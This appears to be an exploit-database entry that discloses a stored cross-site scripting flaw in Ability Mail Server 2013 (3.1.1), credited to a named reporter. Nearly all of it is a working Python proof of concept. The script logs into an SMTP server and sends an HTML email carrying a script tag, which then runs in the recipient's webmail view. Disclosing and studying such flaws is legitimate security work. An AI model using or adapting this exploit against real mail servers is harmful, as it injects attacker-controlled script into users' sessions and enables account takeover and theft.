Ability Mail Server 2013 (3.1.1) - Stored XSS Vulnerability

2013-12-17T00:00:00
ID 1337DAY-ID-21685
Type zdt
Reporter David Um
Modified 2013-12-17T00:00:00

Description

Exploit for windows platform in category remote exploits

                                        
                                            import smtplib
 
email_addr = '[email protected]'
 
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += '<script>alert("XSS")</script>'
s = smtplib.SMTP('192.168.58.140', 25)
 
s.login(email_addr, "user")
s.sendmail(email_addr, email_addr, email)
s.quit()

#  0day.today [2018-01-10]  #